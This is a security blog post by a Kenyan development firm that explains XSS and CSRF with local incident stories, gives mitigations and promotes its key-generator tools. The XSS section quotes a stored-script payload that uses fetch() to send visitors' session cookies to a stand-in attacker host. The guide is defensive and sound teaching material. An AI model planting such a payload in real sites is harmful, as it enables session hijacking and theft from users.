The Two Security Flaws I Keep Finding in Kenyan Startups (And How We Fix Them)

We’ve lost count of how many code reviews we’ve done where the conversation goes like this:

“So, what about CSRF protection?”
“Oh, we don’t have that yet. We’ll add it later.”

Later never comes. Until someone’s M‑Pesa balance vanishes.

At Tuxedosoft, we’ve audited lending apps, e‑commerce platforms, and even logistics systems. The problems we see are almost always the same: Cross‑Site Scripting (XSS) and Cross‑Site Request Forgery (CSRF).

These aren’t theoretical flaws. They’re the quiet killers that have already cost real Kenyan businesses real money.

Let us walk you through them—and show you how we lock them down.

1. Cross‑Site Scripting (XSS) – When Your Own Site Turns Against You

What It Is

XSS happens when an attacker slips their own JavaScript into your site, and your browser runs it as if it were yours.
Sounds simple, but the damage is devastating.

A Real Scenario I’ve Seen

A popular local e‑commerce site had a product review section. Everything looked fine. Until one “review” contained this:

html

<script>

fetch('https://evil.com/steal?cookie=' + document.cookie)

</script>

The site was rendering raw HTML. Every customer who viewed that page unknowingly sent their session cookies to the attacker.
Within hours, the attacker was logged in as paying customers, placing orders, and draining saved M‑Pesa balances.

Why it matters:

• Session hijacking
• Data theft
• Complete loss of user trust

How We Fix It

We don’t rely on “hope.” We build in multiple layers:

• Sanitize everything – Even if it looks safe, we strip out <script> and other dangerous tags.
• Escape by default – React and Vue already do this, but we make sure nobody uses dangerouslySetInnerHTML without a very good reason (and extra sanitisation).
• Content Security Policy (CSP) – We add a header that tells the browser: “Only run scripts from our domain.” Even if a script slips through, it can’t execute.

1. Cross‑Site Request Forgery (CSRF) – The Silent Transfer

What It Is

CSRF tricks a logged‑in user’s browser into making a request they never intended. The server sees the valid session cookie and says “okay” without realising the user didn’t click the button.

A Case We Fixed

A Nairobi‑based lending app came to us after three customers reported missing funds.
Turns out, an attacker had planted a hidden form on a popular business forum. Any logged‑in user who visited that forum automatically submitted a loan request to the attacker’s account. The money moved, and the users never knew.

Why it matters:

• Unauthorised transfers
• Account changes
• Financial loss – and once trust is gone, customers don’t come back

How We Fix It

• Anti‑CSRF tokens – We generate a unique, cryptographically‑strong token for every form. The server checks it before processing. The attacker’s site can’t read the token.
• SameSite cookies – We set SameSite=Strict so browsers don’t send cookies on cross‑site requests. This alone blocks most CSRF attacks.
• Token‑based auth for APIs – For mobile apps or SPAs, we use JWTs stored in memory, not cookies. CSRF is simply not possible.

 Strong Session Security: The Part Everyone Forgets

Even if you fix XSS and CSRF, your app can still be wide open if your session keys are weak.

We once audited a fintech startup whose session signing key was a 6‑digit number generated by rand.Intn(999999). An attacker could have brute‑forced it in seconds. If they had, they could have signed their own session cookies and impersonated any user.

We don’t leave that to chance.

We use cryptographically‑secure keys – the kind that make brute‑force attacks laughably impossible.

For our Go clients, we built Golang Keygen, which generates 32‑byte auth keys and 16‑byte encryption keys, ready to drop into your .env file.

go

We even provide the Go code to decode them properly—no guesswork.

For Rust apps, we built a 64‑byte CSRF key generator (for Axum and similar frameworks) that outputs hex and Base64 keys with full entropy.

rust

These tools aren’t just for us – we’ve shared them because the community needs them.

 What I’ve Learned After Years of Building in Kenya

Security isn’t a checklist. It’s a mindset.

We’ve sat with founders who said: “We’ll add security later.” Later always means after the breach.

• Every input is a weapon until proven otherwise.
• Every request could be a forgery – verify it.
• Weak keys are open doors – use real crypto.

The best part? You don’t need a massive security team. You just need to build with these principles from day one.

 Want to Go Deeper?

We’ve written more about building secure, scalable systems in Kenya:

• How to Build Scalable Web Applications in Kenya 
• Best Tech Stack for Startups in Kenya
• Secure M‑Pesa Integration for Web Applications 

Let’s Build Something Secure Together

At Tuxedosoft, we don’t treat security as an add‑on. It’s baked into every line of code we write. Whether you’re building a lending platform, an e‑commerce store, or a custom dashboard, we’ll make sure your users’ money stays where it belongs.

Ready to lock down your application?

📱 WhatsApp: +254 741 174610
📧 Email: hello@tuxedosoft.com

Secure your code. Secure your future.